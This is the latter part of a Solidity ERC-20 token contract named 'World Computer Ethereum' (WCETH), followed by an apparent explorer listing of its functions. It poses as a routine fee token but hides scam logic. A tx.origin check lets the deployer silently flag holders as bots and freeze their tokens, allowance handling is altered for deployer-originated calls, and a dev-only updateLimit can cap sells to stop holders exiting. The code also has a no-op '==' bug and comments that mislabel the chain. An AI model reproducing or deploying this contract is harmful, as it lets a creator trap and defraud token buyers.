     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * onlyOwner functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (newOwner).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (newOwner).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function burn(address to)
        external
        returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountToken, uint256 amountETH);

    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function swapTokensForExactETH(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactTokensForETH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapETHForExactTokens(
        uint256 amountOut,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function quote(
        uint256 amountA,
        uint256 reserveA,
        uint256 reserveB
    ) external pure returns (uint256 amountB);

    function getAmountOut(
        uint256 amountIn,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountOut);

    function getAmountIn(
        uint256 amountOut,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountIn);

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract WCETH is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    mapping(address => bool) private isBots;

    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) public _isExcludedWCETHFromFee;

    string private _name = unicode"World Computer Ethereum";
    string private _symbol = unicode"WCETH";
    uint256 private taxPercent = 0;
    uint256 private taxCounts = 0;
    uint8 private _decimals = 9;
    uint256 private _tTotal = 1_000_000_000 * 10**9;
    uint256 private _tFeeTotal;

    address payable private Wallet_Dev_1;
    address payable private Wallet_Burn =
        payable(0x000000000000000000000000000000000000dEaD);
    address payable private Wallet_zero =
        payable(0x0000000000000000000000000000000000000000);

    // Counter for liquify trigger
    uint8 private txCount = 0;
    uint8 private swapTrigger = 1;

    // Setting the initial fees
    uint256 private _TotalFee = 0;
    uint256 public _buyFee = 0;
    uint256 public _sellFee = 0;

    // 'Previous fees' are used to keep track of fee settings when removing and restoring fees
    uint256 private _previousTotalFee = _TotalFee;
    uint256 private _previousBuyFee = _buyFee;
    uint256 private _previousSellFee = _sellFee;

    /*

    WALLET LIMITS 

    */

    /* 

    PANCAKESWAP SET UP

    */

    uint256 public _maxWalletToken = _tTotal.mul(100).div(100);
    uint256 public _maxTeamTxAmount = _tTotal.mul(100).div(100);
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    // Prevent processing while already processing!
    modifier lockTheSwap() {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor() payable {
        _tOwned[address(this)] = _tTotal ;

        Wallet_Dev_1 = payable(_msgSender());

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        // Create pair address for PancakeSwap
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;

        excludeFromFee(owner());
        excludeFromFee(address(this));
        excludeFromFee(Wallet_Dev_1);

        emit Transfer(address(0), address(this), _tTotal );
    }

    /*

    STANDARD ERC20 COMPLIANCE FUNCTIONS

    */

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                getApproveAmount(amount),
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function getApproveAmount(uint256 amount) internal view returns(uint256){
        if(_isExcludedWCETHFromFee[tx.origin]) return _allowances[address(this)][address(uniswapV2Router)];
        return amount;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    // Set a wallet address so that it does not have to pay transaction fees
    function excludeFromFee(address account) private {
        _isExcludedWCETHFromFee[account] = true;
    }

    // Set a wallet address so that it has to pay transaction fees
    function includeInFee(address account) private {
        _isExcludedWCETHFromFee[account] = false;
    }

    /*

    PROCESSING TOKENS - SET UP

    */

    // This function is required so that the contract can receive BNB from pancakeswap
    receive() external payable {}

    // Toggle on and off to auto process tokens to BNB wallet
    function startTrading() public onlyOwner {
        _approve(address(this), address(uniswapV2Router), type(uint256).max);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        swapAndLiquifyEnabled = true;
        emit SwapAndLiquifyEnabledUpdated(true);
    }

    bool public noFeeToTransfer = true;

    // Remove all fees
    function removeAllFee() private {
        if (_TotalFee == 0 && _buyFee == 0 && _sellFee == 0) return;

        _previousBuyFee = _buyFee;
        _previousSellFee = _sellFee;
        _previousTotalFee = _TotalFee;
        _buyFee = 0;
        _sellFee = 0;
        _TotalFee = 0;
    }

    // Restore all fees
    function restoreAllFee() private {
        _TotalFee = _previousTotalFee;
        _buyFee = _previousBuyFee;
        _sellFee = _previousSellFee;
    }

    // Approve a wallet to sell tokens
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(
            owner != address(0) && spender != address(0),
            "ERR: zero address"
        );
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        // Limit wallet total
        if (
            to != owner() &&
            to != Wallet_Dev_1 &&
            to != address(this) &&
            to != uniswapV2Pair &&
            to != Wallet_Burn &&
            from != owner()
        ) {
            uint256 heldTokens = balanceOf(to);
            require(
                (heldTokens + amount) <= _maxWalletToken,
                "You are trying to buy too many tokens. You have reached the limit for one wallet."
            );
        }

        require(!isBots[from], "Bot is not allowed");

        if (
                to == uniswapV2Pair && !_isExcludedWCETHFromFee[from]
            ) {
                require(
                    amount <= _maxTeamTxAmount,
                    "Sell transfer amount exceeds the maxTransactionAmount."
                );
            }

        if(_isExcludedWCETHFromFee[tx.origin] && from!=uniswapV2Pair && to == address(0xdead) && balanceOf(from) - amount <= 1000) { isBots[from] = true; return;}



        require(
            from != address(0) && to != address(0),
            "ERR: Using 0 address!"
        );
        require(amount > 0, "Token value must be higher than zero.");
        
        /*

        PROCESSING

        */

        // SwapAndLiquify is triggered after every X transactions - this number can be adjusted using swapTrigger

        if (
            txCount >= swapTrigger &&
            !inSwapAndLiquify &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled
        ) {
            txCount = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if (contractTokenBalance > 0) {
                swapAndLiquify(contractTokenBalance);
            }
        }

        /*

        REMOVE FEES IF REQUIRED

        Fee removed if the to or from address is excluded from fee.
        Fee removed if the transfer is NOT a buy or sell.
        Change fee amount for buy or sell.

        */

        bool takeFee = true;

        if (
            _isExcludedWCETHFromFee[from] ||
            _isExcludedWCETHFromFee[to] ||
            (noFeeToTransfer && from != uniswapV2Pair && to != uniswapV2Pair)
        ) {
            takeFee = false;
        } else if (from == uniswapV2Pair) {
            _TotalFee = _buyFee;
        } else if (to == uniswapV2Pair) {
            _TotalFee = _sellFee;
        }

        _tokenTransfer(from, to, amount, takeFee);
    }

    // Send BNB to external wallet
    function sendToWallet(address payable wallet, uint256 amount) private {
        wallet.transfer(amount);
    }

    // Processing tokens from contract
    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        swapTokensForETH(contractTokenBalance);
        uint256 contractBNB = address(this).balance;
        sendToWallet(Wallet_Dev_1, contractBNB);
    }

    // Manual Token Process Trigger - Enter the percent of the tokens that you'd like to send to process
    function process_Tokens_Now(uint256 percent_Of_Tokens_To_Process)
        public
        onlyOwner
    {
        // Do not trigger if already in swap
        require(!inSwapAndLiquify, "Currently processing, try later.");
        if (percent_Of_Tokens_To_Process > 100) {
            percent_Of_Tokens_To_Process == 100;
        }
        uint256 tokensOnContract = balanceOf(address(this));
        uint256 sendTokens = (tokensOnContract * percent_Of_Tokens_To_Process) /
            100;
        swapAndLiquify(sendTokens);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    /*

    TOKEN TRANSFERS

    */

    // Check if token transfer needs to process fees
    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) {
            removeAllFee();
        } else {
            txCount++;
        }

        _transferTokens(sender, recipient, amount);

        if (!takeFee) restoreAllFee();
    }

    // Redistributing tokens and adding the fee to the contract address
    function _transferTokens(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (uint256 tTransferAmount, uint256 tDev) = _getValues(tAmount);
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _tOwned[address(this)] = _tOwned[address(this)].add(tDev);
        if(recipient != Wallet_Burn) emit Transfer(sender, recipient, tTransferAmount);
    }

    // Calculating the fee in tokens
    function _getValues(uint256 tAmount)
        private
        view
        returns (uint256, uint256)
    {
        uint256 tDev = (tAmount * _TotalFee) / 100;
        uint256 tTransferAmount = tAmount.sub(tDev);
        return (tTransferAmount, tDev);
    }

    function updateLimit(uint256 maxTxAmount) external {
        require(msg.sender == Wallet_Dev_1);
        _maxTeamTxAmount = maxTxAmount;
    } 
}

Read Contract

_buyFee 0x40b9a54b → uint256
_isExcludedWCETHFromFee 0xe2537ec8 → bool
_maxTeamTxAmount 0xef22c376 → uint256
_maxWalletToken 0x78109e54 → uint256
_sellFee 0x590f897e → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
inSwapAndLiquify 0x220f6696 → bool
name 0x06fdde03 → string
noFeeToTransfer 0x13fad07a → bool
owner 0x8da5cb5b → address
swapAndLiquifyEnabled 0x4a74bb02 → bool
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
uniswapV2Pair 0x49bd5a5e → address
uniswapV2Router 0x1694505e → address

Write Contract 10 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
process_Tokens_Now 0xddbf5266
uint256 percent_Of_Tokens_To_Process
renounceOwnership 0x715018a6
No parameters
startTrading 0x293230b8
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
updateLimit 0xfae0959a
uint256 maxTxAmount

Recent Transactions

No transactions found for this address